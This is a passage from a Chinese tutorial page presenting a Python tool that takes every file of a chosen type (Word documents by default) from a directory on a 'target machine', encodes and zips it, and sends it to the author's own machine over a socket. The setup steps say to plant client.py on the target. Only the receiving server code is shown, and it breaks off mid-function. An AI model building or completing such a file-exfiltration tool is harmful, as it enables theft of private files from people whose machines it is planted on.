本文實例講述了python實現獲取客戶機上指定文件并傳輸到服務器的方法。分享給大家供大家參考。具體分析如下:
該程序實現了,把目標機器的某個目錄(可控)的所有的某種類型文件(可控)全部獲取并傳到己方的機器上。
1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,這是2進制加密解密
2、用zip壓縮
3、socket中server.py放到自己這方python server.py,然后client.py放到目標機器,然后python client.py即可
4、本程序設置了獲取doc文件,修改extName可以獲取其它類型文件
服務器端程序:
代碼如下:# -*- coding: cp936 -*-
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 6553500 #6M
key = 'ouyang'
timeout = 5
dicName = "ouyang//"
ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
ss.bind((HOST,PORT))
ss.listen(5)
print "wating for conntecting..."
while True:
try:
cs,addr = ss.accept()
socket.setdefaulttimeout(timeout)
cs.send("200 Connected!")
#獲取加密數據
encode_data = cs.recv(BUF_SIZE)
#把數據寫到out.zip文件
tmpfile = open('out.tmp','wb')
try:
tmpfile.write(encode_data)
tmpfile.close()
except IOError,e:
print 'Strange error creating IOError:%s' % e
新聞熱點
疑難解答